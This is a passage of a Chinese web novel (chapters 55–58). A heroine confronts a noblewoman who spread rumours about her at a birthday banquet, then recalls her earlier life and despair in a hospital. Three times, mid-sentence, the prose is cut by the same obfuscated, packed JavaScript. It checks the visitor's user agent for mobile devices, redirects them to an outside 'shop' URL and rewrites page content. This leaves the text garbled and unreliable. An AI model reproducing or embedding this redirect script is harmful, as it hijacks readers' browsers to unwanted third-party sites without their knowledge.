王夫人再次看着姚知韫的目光比方才又柔和了几分，“能亲手炮制出这般东西，又能在冬日种出碧绿的蔬菜，可见是个耐得住性子的。这年头，像你这样的小姑娘，能把心沉下来做这些的，不多了。” 姚知韫微微垂首，“夫人谬赞了，都是些小玩意，当不得什么，今日我也带来了一些，还望夫人不要嫌弃，” 说着她侧过身看向芙蓉，芙蓉会意，上前两步，将手中的篮子轻轻放在几案上，篮子上蒙着一块湛蓝色的细布，她伸手揭开，里头整整齐齐地码着几样蔬菜——青瓜嫩绿，茄子紫亮，还有两棵水灵灵的菘菜，叶片舒展，青白分明，像是刚从地里摘下来的。 福嬷嬷接过篮子，退到一旁。 王夫人的目光，却久久地落在姚知韫的身上。 55. 流言 这孩子礼数周全，进退有度，说话时眉眼温顺，却不卑不亢。送的东西也恰到好处——不贵重，不刻意，却处处透着用心。 这些日子，她常听颖儿提起这个女子。 颖儿那孩子，看着爽利，实则难得对人上心。可说起这位姚姑娘，却是眉飞色舞，恨不能把所有好词都堆在她身上。她便起了几分好奇——究竟是个什么样的人，能让颖儿这般惦记？ 后来颖儿说，想安排一个叫清言的孤儿进清源书院读书。 她心里便多了一层思量。这孩子，是真心相交，还是……另有所图？ 前几日，又闹出那样的传言。 她冷眼瞧着，那赤衣侯雷霆手段，短短几日便将谣言压了下去，还把于家那丫头和二皇子的事掀了个底朝天。这般手腕，这般上心——她活了几十年，自然看得出，那男人对这位姚姑娘，怕是用情极深。 能让霍抉那样的男人倾心至此的女子，心思只怕不简单。 可此刻，这孩子就坐在她面前，温顺地垂着眼，手里捧着一盏茶，安安静静的，像一株刚移栽过来的兰草，不争不抢，却让人无法忽视。 这种装置是刻在骨子里的，像是曾经见过风雨，于是便把所有的风雨都藏了起来，只露出一个风平浪静的表面。 “书上说的‘静女其姝’大概形容的就是这样的女子。她安静地坐在那里，却让屋子都亮了。 连她这样活了几十年的人，竟也看不真切。 王夫人看了许久，忽然轻轻笑了一下。 罢了。 是不是真心，日子久了，总能看得出来。 “韫儿，今日是我生辰，你这送礼都送给了母亲，我可是不依的。” 孙颖突然的爽朗打破了满室的沉静。她故意板着脸，可那眉眼间的笑意却藏也藏不住，亮晶晶地望着姚知韫。 姚知韫被她逗笑了，弯了弯唇角：“你是寿星，自然不会少了你的。” 她说着，从袖中取出一个檀木小盒，双手递了过去。盒子四四方方，打磨得极光滑，盒盖上绘着几枝淡粉色的海棠，疏疏落落，恰如孙颖平日爱簪的那一朵。 孙颖接过，捧在手里翻来覆去看了好几遍，爱不释手。她迫不及待地掀开盒盖——里头齐齐整整地分成四个小格，每个格里卧着一只小小的瓷瓶，颜色各异，像四颗敛着光的珠子。 “这是……” 姚知韫伸手拿起那只绿色的瓷瓶，又指了指旁边的紫色： “这是洁面，绿色的晨气使用。里面有益母草灰、白茯苓、白芷、白及等几味中药，研磨成粉，用温水调开，可养颜润肤。” 她又拿起紫色的那只： “这是豌豆，用豌豆粉配着香料和中药研成的细末。用的时候拿温水化开，就水洗涤——不仅能洗净脸上的脂粉，还能美白祛斑。是晚间用的。” 孙颖听得入神，目光又落在那只粉色的小瓶上。 “这是面脂。”姚知韫拿起粉色的那支，轻轻放在她手心里，“早晚都能用，洁面后取少许涂匀，润而不腻。” 孙颖把那只粉色小瓶攥在掌心，却忽然指着第四个格子，声音里带着压不住的兴奋： “这个呢？这个是什么？” 那格子里没有瓷瓶，只有一块素白的绢布，仔细包着什么。 姚知韫伸手取出，轻轻揭开绢布。一股清雅的茉莉花香便幽幽地漫了出来。 “这是茉莉花香皂。” 她将那淡黄色的小块托在掌心里，递到孙颖面前： “用来洗头发的。洗发时抹在发上，轻轻揉搓，再用清水冲净——洗完了，头发又香又滑，还不容易打结。” 孙颖盯着那块香皂，眼睛亮得惊人。她一把抓过来，凑到鼻尖深深地嗅了一口，随即眯起眼，脸上漾开一个餍足的笑。 “韫儿——”，她拖长了声音，声音软软的，“你也太会了吧。”她说着，把那几样东西一样一样地拿出来看，又一样一样地放回去，小心翼翼，像对待什么稀世珍宝。 姚知韫只是笑了笑，没有接话。 她望着孙颖那张被惊喜点亮的脸，心里也跟着软了几分，她想了很久，终于才想到要送这些，这些可都是她从家里书房那些古书里面翻出来的，一遍遍地试验，最终才有了自己的配方。 送之前还有些忐忑，不知道孙颖是不是会喜欢，如今看来是送对了。 只是看着孙颖把几样东西拿出来看看，又一样一样地放回去，怕是舍不得用。 姚知韫温声道，“这个东西放不了太久，你可别舍不得用，收着藏着反倒坏了，你尽管用，以后我按照季节再给你调配新的，让人送到府上。” 孙颖怔怔地望着她，眼底有什么东西，一点一点地亮起来，她张了张嘴，却什么都没说，只是紧紧地将姚知韫的手攥在掌心。 王夫人坐在一旁，静静地望着这一幕，她的笑容依旧温和，可那双沉静的眼睛里多了一丝欣慰。 这个孩子，用心了，不管是送给她的，还是送给颖儿的，都是花了心思的。 半晌，她站起身，轻轻理了理衣襟，“时候不早了，客人应是都到齐了，颖儿，快带着韫儿去入席吧！”说着她率先往门口走去。 只是姚知韫在听到王夫人那声“韫儿”后，愣了半晌，她的声音还是那样的温柔，像冬日里的暖阳，不灼人却让人暖暖的。 很久以前母亲也曾用这样的声音唤她，带着江南水汽般的柔软，一声叠着一声。 眼眶里的酸涩来得毫无防备，汹涌地往上涌，她几乎要撑不住，听到孙颖的呼唤，她急急地垂下头，把那一点湿润飞快地眨了回去，深吸一口气，再抬头时，脸上已看不出任何异样。 “来了，”她轻声应道，跟着孙颖一起，往门外走去。 一行人绕过池塘，眼前便是一排屋舍，皆是三间阔的开间，错落有致地分布着。 刚走近荣萱堂，便听见里头传出的说笑声——确切地说，是议论声，一声声毫无避讳地飘出来。 “听说今日那位姚姑娘也来了？”一个娇滴滴的声音，带着几分明知故问的促狭。 “做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319918|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样的事情，她怎么还有脸出门？”另一个声音接得极快，尖锐刺耳。 姚知韫脚步微微一顿。这个声音她认得——宋国公府的宋玉。 “传播谣言的人不说被抓了吗？”一个弱弱的声音试图反驳，底气却明显不足。 “哼，谁知道她耍了什么手段，让赤衣侯为了她雷霆一怒，定然是她哭天抹泪、装模作样，求着侯爷替她出头——连宋国公府都敢得罪，可见她心机有多深！”这个声音，似乎在有意识地挑起宋玉的怒意。 “就是就是！听说孩子都好几个月了，怕是从侯爷一回京便开始谋划了，不然以侯爷的身份，怎么也该是崔姐姐那样的身份才配得上，怎么会娶一个孤女。” 话越说越难听，站在门外王夫人的脸色渐渐沉了下去。 孙颖却已经跳起来，一张脸涨得通红，攥紧拳头就要往里冲，一副要进去与人拼命的样子，却被姚知韫一把拽住。 姚知韫对她轻轻摇摇头，目光却看向王夫人。 那些流言蜚语她其实不在意，说得再多也不会少块肉，听听就好了，可这次事关霍抉，这事就算压下去了，百姓健忘，有了新谈资便不会再惦记。 可朝臣呢？皇上呢？他们会怎么想？这样的事情说好听了是“冲冠一怒为红颜”的佳话，说得不好听便是“谋于妇人之手”，这于他官声是极大的阻碍，他或许不在意，但——她不能。 她看王夫人，目带询问，这是孙府，她若是当场发作闹得不好看，于她自己无非就是不好的名声上再添上一笔，可孙府的面子往哪儿搁。 可若是她不发作，忍下这些，怕是后面会传出更难听的话，想要再找到发作的机会可就不那么容易了。 王夫人对上她的目光，微微一怔，随即眼底竟浮起一丝促狭的笑意，她不着痕迹地点了点头，那意思再明白不过——闹吧，我看着。 姚知韫心里一动，便没了顾虑，又站定耐着性子听了几句，直到宋玉的那句，“这样不知羞耻又心思深沉的女人，霍侯爷定然是不知道她的真面目，若是知道了——。” “若是知道了又如何？”姚知韫推门而入，周身的气势陡然一变，她是将门之后，身上多少沾染些武将的风骨，只是平日里也多是沉静惯了，眉眼又生得柔弱，给人一种天生的羸弱感。 可此刻，她眼底闪着锋芒，面容冷峻如霜，竟生生透出了几分战场上的英气。 说人坏话多是背后蛐蛐，当着人的面还真没几个敢理直气壮的，几位小姐在看到来人，脸色倏地红了，讪讪地垂下了头去。 而那位宋玉姑娘被人抓个正着，脸色涨红，却仍然倔强地仰着头，“怎么，你做的，我们反倒说不得？自己不知检点，勾引了霍侯爷，若不是珠胎暗姐，又岂会在及笄之前着急成婚？你们想掩饰什么？霍家马上就要进京了，哪有不等宗族之人就草率成婚的道理？”宋玉越说越坚定，好似给自己找到了合适的理由，连声音都拔高了，竟把自己说得理直气壮起来。 旁边的几位小姐被她带动，也跟着频频点头，仿佛事实本就如此。 56. 解决 姚知韫却没有接话，只是不疾不徐地走到宋玉旁边的椅子上坐下来，这才抬起眼冷冷一笑，“哦？宋姑娘说得这么斩钉截铁，怎么？是半夜躲到我床底下了吗？” “你——，”宋玉一噎，万万没想到她会这么说。她不该反驳吗？不该辩解吗？怎么反倒像是……承认了？ “是吗？宋姑娘。”姚知韫追问着，仿佛真的在问宋玉一个答案。 “我才没有——，”宋玉涨红了脸，不知道如何回答。 “那我就要问问宋姑娘，”姚知韫冷着脸，身子向前倾了少许，逼近她几分，“那这些话，你是听谁说的？” 宋玉张了张嘴，说不出话来。 姚知韫盯着她看了片刻，又倏然收回身子，缓缓靠回椅背上，目光淡淡地扫过在场所有人，“或者，你们给我一个答案。” 众人的目光齐齐地看向宋玉，这个话题本来就是她挑起来的，自然是她负责。 宋玉气得脸色都白了，指着姚知韫的手指微微发抖，说话也结结巴巴，“姚知韫，你不要仗着有霍侯爷撑腰，便如此嚣张。若霍侯爷知道了你的真面目，定然是会弃了你。” 姚知韫耐心地等她说完，然后站起身径直走到王夫人面前，王夫人正紧紧拽着孙颖，生怕这丫头一时冲动冲上去。 姚知韫在王夫人面前站定，屈膝行了礼，“夫人，今日本是孙小姐生辰，小女本不该挑事。”王夫人望着她，眼底闪过一丝意外。 她原以为这姑娘会反驳，会纠缠，会与宋玉吵个不休。她甚至已经做好了劝架的准备。却没想到，她会这样——先礼后兵，分寸拿捏得恰到好处。 “无妨。”她笑着松开了孙颖的手，那笑容里竟多了几分看戏的兴味。 姚知韫转过身，目光清冷地扫过满座惊疑不定的众人，最后落在宋玉脸上。 “请夫人派人往五城兵马司走一趟。我要状告宋姑娘——她无凭无据，诋毁霍侯与我的名声。我是一介女子，名声固然要紧，可霍侯乃朝廷命官，他的名声，更容不得污蔑。按大晋律，诬告朝廷命官者，加所诬罪三等，罪止杖一百、流三千里。今日宋姑娘敢这般信口雌黄，若我不能讨个公道，日后人人效仿，这律法，岂不成了摆设？” 宋玉的脸“唰”地白了。 她张了张嘴，想说什么，可喉咙像被人掐住似的，一个字也挤不出来。旁边的几位小姐更是噤若寒蝉，恨不得把自己缩进椅子里去。 “你……你凭什么告我？”宋玉终于找回声音，可那声音早已没了方才的尖利，颤抖得厉害，“我又没有……又没有……” “没有什么？”姚知韫缓缓站起身，向前走了一步，“是没有说刚才那些话？还是没有指名道姓？” 宋玉被她逼得后退一步，撞在椅沿上，发出“砰”的一声闷响。 “你放心，”姚知韫停住脚步，声音平平静静的，却让人无端脊背发凉，“五城兵马司审案，讲究的是人证物证俱全，也不会只听我一面之词，到时候自然会审得清清楚楚。若是你真的是冤枉的，只要说出那些话是谁传的，大石自然会还你公道。” 宋玉的脸由白转青，又由青转红，那颜色变来变去，煞是好看。 可她心里，却是一点点地凉了下去。这种话，她以前也常说。茶余饭后，闺阁相聚，谁还没说过几句闲话？那些被编排的人，哪个不是吃个暗亏，最后不了了之？谁会真闹到五城兵马司去？ 她目光扫过在场众人，希望有人能站出来为她说句话，可那些小姐们纷纷低下头去，没有一个敢与她对视。 角落里，一个穿着鹅黄袄裙的姑娘忽然开了口，她声音尖利，甚至带着几分压不住的激动，“姚姑娘，宋姐姐只是心直口快，可也没有坏心，闹到五城兵马司是不是有些过了，若是去了五城兵马司，宋姐姐这辈子就完了，她会名声尽毁，她以后该如何自处？” 姚知韫目光转向她，眼底波澜不惊，“你是谁？” 那姑娘一愣，随即挺了挺脊背，颇有几分自豪地说道：“我乃礼部侍郎之女，沈诘云。” 姚知韫看着她，仿佛要将人看穿似的，沈诘云被她看得心里发毛，脸色的血色一点点地褪去。 “沈——姑娘？”姚知韫终于开口，声音却不高不低，足够让在场的每个人都能听得清清楚楚。 “听闻户部侍郎沈大人洁身自好，刚正不阿，想来身为他的女儿也是能明辨是非的。那我倒要请教沈姑娘，方才宋姑娘说那些话的时候，沈姑娘可有制止？可有替我也说一句——坏了我的名声，让我如何自处？” “我——，”沈诘云的脸色僵了一瞬，瞬间涨得通红，只得讷讷地说了一句，“得饶人处且饶人。” 姚知韫笑了，笑得极淡，像梅花上凝结的霜，好看，却没有一丝温度，“希望日后沈姑娘遇到如我一般同样的境遇，也能这般坦然对自己说一句，得饶人处且饶人。” 沈诘云的脸，红白相间，颜色可比宋玉变得还要精彩。 说完姚知韫转过身不再看她，她转过身坐在椅子上，理了理衣襟，姿态闲适得像是在自家后院赏花，唇边始终带着笑意，“宋姑娘不妨坐下来，与我一起等五城兵马司的人。” “姚知韫！”宋玉猛地拔高声音，可那声音里已是强弩之末的虚张声势，“你、你别欺人太甚！” “欺人太甚？”姚知韫偏了偏头，像是听到了什么有趣的话，“宋姑娘在背后编排我的时候，怎么没想过欺人太甚？” “若是霍侯爷没有查明真相，你的这些话传遍京城，我受不住，一根绳子吊死在姚府，你当如何？你诋毁侯爷与我谈不上欺人太甚，我想给自己讨个公道，反倒成了欺人太甚了？那你倒说说，我是如何欺人太甚的？” 宋玉两腿一软，跌坐在椅子上，再也说不出一个字。 姚知韫却只是冷冷地看着。 “你以为只是简简单单地说了几句话，可它远远比刀剑更锋利。刀剑砍在身上，有伤口，有血迹，旁人看得见，死也能落个明明白白。可谣言杀人不见血，它会让你从里到外地烂透了，最后死了也不得安宁。如此，你还觉得我欺人太甚吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322899|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋玉张了张嘴，却说不出话，只能拼命摇头，眼泪终于夺眶而出，她顺着脸颊扑簌簌地往下落。 若是因为此事闹到五城兵马司，她的名声也就毁了，一个毁了名声的女人，宋家只会将她弃如敝屣，父亲宠妾灭妻，不喜母亲，连带着也不甚喜欢她，若再让他知道自己得罪了霍抉，她日后还如何在府里立足？ 她拼命地咬着唇，整个人缩在椅子上，双手紧紧攥紧，指节泛白，浑身止不住地颤抖，希望自己楚楚可怜的模样能博得几分同情。可经过方才沈诘云之事，哪里还敢有人出头？ 荣萱堂静得能听见炭火噼啪的声响，那些小姐们屏气凝神，连大气都不敢出。 宋玉等了又等，却始终没有等来任何声音。她终于绝望地抬起头，目光慌乱地扫过众人——没有人看她，所有人都垂着眼，恨不得把自己缩进椅子里去。 她猛地站起身，踉跄着冲到王夫人的跟前，扑通一声跪了下去，仰起脸，眼泪糊了满脸，声音颤抖又尖锐，“舅母，我知道错了。” 王夫人低头看着她。 看着这张哭得梨花带雨的脸，看着那满脸的泪痕和惶恐，她心里轻轻叹了一口气。 自嫁入孙家，她便不喜孙氏。只是那时孙氏已出阁，于她并无甚影响。后来孙氏在宋家，被小妾压制，性子越发阴鸷，虽也时而回府里闹腾，但终究有老父在堂，有兄长挡着，闹不到她这个嫂子跟前来。眼不见为净，她也懒得理会。 只是没想到，她教养出来的女儿，竟是这副模样。 可此刻，这孩子跪在她面前，求她救命。 她再不喜欢，这也是孙家的外孙女。今日若真闹到五城兵马司，传出去孙府的脸面往哪儿搁？再说孙氏是昌平伯府的姑娘，若是让人以为昌平伯府教出的姑娘如此，怕是对颖儿的名声有所负累。 可若是让姚知韫忍气吞声，把这苦果生生咽下去，她眼底那一闪而过的让人心疼的东西， 那孩子已经够委屈了。 她怎么忍心让她再受一次委屈？ 王夫人的目光缓缓移向姚知韫。 那双素来沉静的眼睛里，此刻竟有了一丝左右为难的犹豫。 想到这里，她的目光便移到姚知韫身上，倒有些左右为难了。 姚知韫苦笑一声，她当然知道今日之事不能闹到公堂上，古代的这些家族盘根错节，若单是一个宋玉，她当然不会心慈手软，可今日是在昌平伯府，是孙颖的生辰宴，她就算不顾及其他，也要顾及她的面子，不能闹得太难看。 可她也不能就这样轻而易举地将此事揭过——不然方才的一切便都成了虚张声势，不仅震慑不了任何人，反倒会落人口实。到最后，说不定还会传出她仗势欺人的传言，平白给霍抉添麻烦。 更何况，此刻宋玉跪在那里，哭得梨花带雨，一副忏悔的模样。而她站在那里，寸步不让，怎么看都像是咄咄逼人。 人都是同情弱者的，姚知韫看着已经有几位小姐隐隐生出同情姿态，若是再拖一会儿，这风向怕是就要变了。 57. 真心 姚知韫垂下眼帘，将眼底那一点锋芒尽数敛去，微微侧过头，让光线恰好落在她低垂的眉眼上——她本就生得一副柔弱模样，此刻做出一副隐忍委屈的姿态，竟让人瞬间忘了方才那个锋芒毕露、寸步不让的人也是她。 装柔弱，谁不会？姚知韫沉默着不说话，让在场的人都看明白：她才是那个真正受委屈的人。宋玉凭什么哭两声她就要原谅？那她的委屈又该如何？ 看着姚知韫的模样，孙颖忍不住了，“宋玉，你诋毁的是姚姑娘，求着我母亲算怎么回事？姚姑娘受我邀请到府里作客，却受了如此大的委屈，已经是我们孙府的不是了，难不成还要我母亲做这个恶人不成？更何况这事五城兵马司已经有了定论，你却还要拿出来嚼舌根，这不是落人口实吗？这事若是让赤衣侯知道了，怕也不会善罢甘休吧！” 孙颖是在提醒宋玉，她得罪的是姚知韫，不是孙府，认错赔罪也该是跪到正主面前去，对着母亲磕头算怎么回事？ 可话里的深意，也是隐晦地说给母亲听的。 姚知韫可是霍抉心尖上的人，若她今日在孙府受了委屈，以霍抉那睚眦必报的性子，又岂会善罢甘休？爹爹与之同朝为官，孰轻孰重，母亲还是掂量掂量。 孙颖说完，便不再看宋玉，只是上前一步，坚定地站在姚知韫身侧，她没有开口，可那姿态已经说明一切。 更何况，她也确实看不得姚知韫受委屈。 方才那些话，那些恨不得把人踩进泥里的嘴脸——她光是听着就气得浑身发抖，若不是姚知韫拦着，她早就冲上去撕烂那些人的嘴了。 如今宋玉跪在地上哭，倒像是受了天大的委屈似的。 凭什么？ 她不管什么宋家、什么名声。她只知道，今日若让韫儿在这荣萱堂里受了委屈，她这一辈子都不会原谅自己。 宋玉跪在地上，身子僵得像一块石头，她望着王夫人，又望望孙颖，再望望满屋子低头不语的小姐们——没有一个人替她说话，没有一个人敢替她说话。此句无错误。 她终是明白，今日这一关，是过不去了。 膝盖硌在冰冷的地砖上，疼得她直打战。可更疼的，是那股从心底涌上来的羞耻——她宋玉，宋国公府的嫡女，什么时候跪过别人？ 可此刻，她不得不跪，这种屈辱让她心底生出千丝万缕的恨意来，暗暗发誓，若是有机会，她一定要让姚知韫还回来。 她咬咬牙，撑着地缓缓站起身，一步一步挪到姚知韫面前。 然后，扑通一声，又跪了下去。 姚知韫低头看着她，没有说话。 宋玉的眼泪又涌了出来，这一次不是装的，是真的忍不住，那是屈辱的眼泪，她低着头，声音又细又颤，像是从嗓子眼里挤出来的：“姚姑娘……我错了。” 姚知韫依旧没有说话。 宋玉等了几息，等来的只有沉默。那沉默像一座山，压得她喘不过气来，她咬了咬唇，把那些羞耻和委屈都咽回去，再次开口，可她每说一句，声音就抖一下，像是有人拿刀子在她的心上剜，一刀一刀，永不停息。 “那些都是我胡说八道……都是我的错……姚姑娘清清白白，光明磊落……是我嘴贱，是我心坏……” 她终于说不下去了，捂住脸呜呜地哭了起来。 屋里静得只剩她的哭声。 姚知韫看着她，看着那颗埋得低低的头，看着那颤抖的双肩，看着她跪在地上缩成一团的狼狈模样。 其实她知道，即便今天的事情揭过去了，她与宋玉之间的仇也已经结下了，以宋玉的性子怕的会不死不休，可今日毕竟是在孙府，她还是要见好就收。 良久，姚知韫轻轻叹了一口气，似无奈，又似不得已。 她终于开口，声音淡淡的，带着无尽的疲惫，“宋姑娘，今日之事，看在王夫人与孙小姐的面子上，到此为止，” 宋玉猛地抬起头，满脸泪痕，眼底闪过一丝绝处逢生的光芒。 姚知韫缓缓站起身，走到宋玉面前，弯下腰凑近她耳边，那姿态在外人看来，像是在搀扶宋玉，可那冰冷的声音却清晰只让宋玉听到，“宋玉，你听好了，日后我若是再听到这样的话，不管是谁说的，我都会算在你头上，你最好祈祷，这件事——到此为止。” 宋玉身子一僵，看向姚知韫的目光像看着一个恶魔，满是不可置信。 可姚知韫却不再看她，缓缓直起身，脸上又挂上了淡淡的笑意，仿佛方才什么也没发生过。 孙颖在一旁着急地拉了她的袖子，“韫儿——，” 姚知韫摇摇头，对上她的目光，轻轻摇了摇头。无声地安抚着孙颖，没事，别担心。 她转过身，目光扫过在场的每一个人，那些方才还窃窃私语的小姐们，此刻一个个地缩在椅子上，噤若寒蝉，连呼吸都放轻了，生怕姚知韫看到自己。 “诸位都是高门贵女，读的是圣贤书，学的是礼义廉耻，应是比我更明白，‘流言止于智者’的道理，想来宋姑娘也不希望再听到不好的传言，是吗？宋姑娘。”姚知韫刻意加重了‘宋姑娘’三个字。 宋玉扶着椅背正要起身的身子晃了晃，差点又跌跪回去，她忙不迭地点头，“是，是——，那些话是我一时糊涂，以后不会了，再也不会了——。” 她第一次觉得姚知韫这个女人很可怕，宋玉对她产生了一丝恐惧。 姚知韫朝着王夫人端端正正地行了一礼，垂下眼帘掩去眼底的疲惫，向王夫人告了罪，便唤了芙蓉来，告辞离开了。 王夫人看着她，想说什么，终究只是轻轻地点了点头。 孙颖追出去两步，又停了下来，回头狠狠瞪了宋玉一眼，这才转身跟了上去。 荣萱堂里，死一般的寂静。 过了许久，不知是谁轻轻地舒了一口气。 本该是热热闹闹的生辰宴，终究是不了了之。 荣萱堂终于安静下来。 宾客们三三两两地散了，宋玉被人扶着出去时，两条腿还在发软，脸色白得像纸。那几个方才附和得最起劲的小姐，一个个溜得比兔子还快，生怕多待一刻就会被什么盯上。 王夫人站在原地，久久没有动。 福嬷嬷走过来，轻轻唤了一声：“夫人？” 王夫人这才回过神，笑了笑，转身往内室走去。 回到内室里，福嬷嬷端了热茶上来，又往炭盆里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328399|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 添了几块炭。王夫人靠在软榻上，手里捧着茶盏，却半天没喝一口。 福嬷嬷在一旁站着，等了又等，终于忍不住开口：“夫人可是在想那位姚姑娘？” 王夫人抬起眼，看了她一眼，唇边的笑意深了几分，“你也看出来了？” 福嬷嬷笑了笑：“今儿个这场面，换个人来，要么被宋姑娘那些话堵得哑口无言，要么就撕破脸大吵一架。可这位姚姑娘——” 她顿了顿，似乎在斟酌用什么词。 “不卑不亢，有礼有节。该说的话一句没少，该做的事一件没落。最后在宋姑娘耳边说的那句话，老奴没听见，可看宋姑娘的模样，怕是吓得不轻。” 王夫人轻轻“嗯”了一声，把茶盏搁在几案上。“你可知道，我今日最惊讶的是什么？” 福嬷嬷摇摇头。 王夫人望着窗外的暮色，缓缓道：“是她的分寸感。” 王夫人并未等福嬷嬷回答，径直说道，“她若是一定要将人送到五城兵马司，我们也是不能说什么的。”王夫人的声音很轻，像是在自言自语，“可她若是真的将人送到了五城兵马司，孙家往后怕也不会心生不满。” 屋里静了片刻。 福嬷嬷轻轻叹了口气：“这么懂事的姑娘，倒是不多见。” 王夫人笑了笑，那笑意里带着几分复杂，“她不是懂事。是太聪明了。” 她坐直身子，望着福嬷嬷：“她知道自己要什么，也知道自己能要什么，不会因为一时之气，就让人下不来台，她每走一步，都算好了后面三步。” 福嬷嬷若有所思地点点头。“那夫人觉得……她对颖儿，是真心还是……” 王夫人沉默了一会儿，“颖儿那丫头，从小被我和她父亲护着，看着聪明，实则单纯得很。可这位姚姑娘——” 她顿了顿，眼底闪过一丝复杂的情绪，“她明明还比颖儿小两岁，却更像是个见过风雨的人，若她不是真心待颖儿，颖儿根本近不了她的身。” 福嬷嬷听着，忽然想起什么，笑着道：“说起来，颖儿今日倒是护她护得紧。那一句‘她得罪的是姚知韫，不是我们孙府’，虽是冲着宋玉说的，可老奴听得出来，那是说给咱们听的。” 王夫人忍不住笑了一下，“那丫头，如今倒是有主意了。” 她靠在软榻上，望着跳跃的烛火，良久，轻轻叹了口气：“罢了，颖儿难得有个合心意的朋友，那孩子又确实是个好的，随他们去吧！” 屋内静了很久，王夫人忽然开口，“明日派人去清源书院走一趟，清言那个孩子请兄长多多关照。” 福嬷嬷愣了一下，旋即心下一凛。 清言——就是颖儿提过的那个孩子，姚姑娘想送进清源书院读书的那个孤儿。 夫人这是…… 她很快敛去眼底的惊讶，低低应了一声“是”，又弯腰往炭盆里添了块炭。 可心里却翻涌起来，夫人这是真把那位姚姑娘放在心上了，能让夫人开这个口的人可没几个，就连自家公子都没这个例外。 屋里暖融融的，炭火烧得正旺，映得人脸上都带了几分柔和的光。 窗外，暮色渐渐沉了下去。 58. 回忆 马车辘辘地往回走。 姚知韫靠坐在车厢里，脊背抵着车壁，一动不动。芙蓉在一旁悄悄看了她好几眼，想说什么，又不敢开口，姑娘的脸色看起来还好，可那双眼睛……那双眼睛里什么都没有，空空的。 她只是坐着，安静地坐着。 马车一路穿过热闹的街市，又拐进安静的巷子。车夫把车赶得极稳，几乎感觉不到颠簸——可姚知韫还是觉得累，那种从骨头缝里一点点渗出来的、说不清的疲惫。 马车终于停了下来，她没等车夫把脚蹬摆稳，便掀开帘子跳了下去。 府门口有仆人躬身行礼，她没看见。有人唤“姑娘”，她没听见。她只是低着头，攥紧裙角，一步一步往里走，走得很快，快得像身后有什么东西在追。 穿过垂花门，绕过老槐树，推开正房的门—— 直到房门在身后“砰”地合上，她才终于站定，长长地舒了一口气。 褪去外衫，拉上窗帘，屋内彻底暗了下来，她将自己缩进吊椅，缩得很小很小，像一只终于可以躲起来的倦鸟。 出了一趟门，不过几个时辰，怎么像又过了一辈子似的？ 屋里还是她离开时的模样，一切都那么熟悉，可她就是觉得自己不再是原来那个她了。 她蜷在吊椅里，望着头顶那片看不穿的黑暗，忽然觉得很累，很累。 她甚至开始想念那个死去的自己，这个念头冒出来，连她自己都吓了一跳，可她拦不住它。 她想起四面惨白的病房，那些滴滴答答响个不停的仪器，还有埋在身上的针，很疼，特别疼的，可再疼她也想活着的，哪怕每一天都是折磨，那种暗无天日的日子里面，她看了很多书，学了很多东西，却从未有机会实践过，她没有那个机会。 后来是什么时候开始，她没有了活着的念头，是每次看到妈妈那肿得像核桃一般的眼睛，还是听着爸妈背着她吵过无数次的架，也许还有爸爸最后一次来看她时，站在门口犹豫的身影。 那个时候，她就想，要是死了就好了，死了大家都解脱了，死了就什么都没有，痛苦、恐惧、疼痛一切都没有了。 终于——她如愿以偿。 可那感觉，不过只是睡了一觉。 再次睁开眼睛，她依然活着，只是这次身体，不是她的了。 刚活过来的那些日子，她甚至无法操控自己的身体，手指不听使唤，双腿无法站立，她像一个孤魂占据了别人的尸体，怎么塞都塞不进去，怎么看都格格不入。 很长一段时间她只能躺在床上，像以前一样，躺着发呆，或者静待着再一次的死亡。 她安安静静地躺着，不哭、不闹、不想、不盼，看着那个被人唤作“夫人”的人，在她的床前来了又走，绝望地哭泣，无声地流泪。 而她——无动于衷。 一天、两天、一个月、两个月—— 她还活着，甚至越来越适应这具不属于她的身体，终于有一天她抬起手，贴在自己的胸口，那里有微微的起伏，有暖暖的温度。 是活的。 她的手在发抖，眼眶却干干的，一滴泪也没有，她不知道该如何形容那种心情，只觉得，原来一个人想活下去，和想死掉，可以同时的真的。 她用漫长的十年，才找回活着的勇气，可活着需要付出的代价太大，她该如何适应。 放弃吗？ 反抗吗？ 她不知道。 她想，睡觉吧！睡着了就什么都不想了，睡着了就什么烦恼都没有了。 姚知韫做了一个很长很长的梦，梦里她掉进了大海，海水又冷又咸，呛得她喘不过气，她只能随着海浪起起落落，拼命地想抓点什么，却始终什么都抓不住，只有无边无际的水，一遍一遍地将她吞进去，又吐出来。 场景一转，她好像又掉进了一个不会见底的深渊，四周全是黑的，看不见天，也看不见地，只是不断地下坠，无论她如何挣扎也无济于事。 她不知道自己坠了多久，也许是一瞬，也许是一辈子。 终于在尖锐的峭壁上，她抓住一棵斜伸出来的树干，她死死地抱着，不敢撒手。 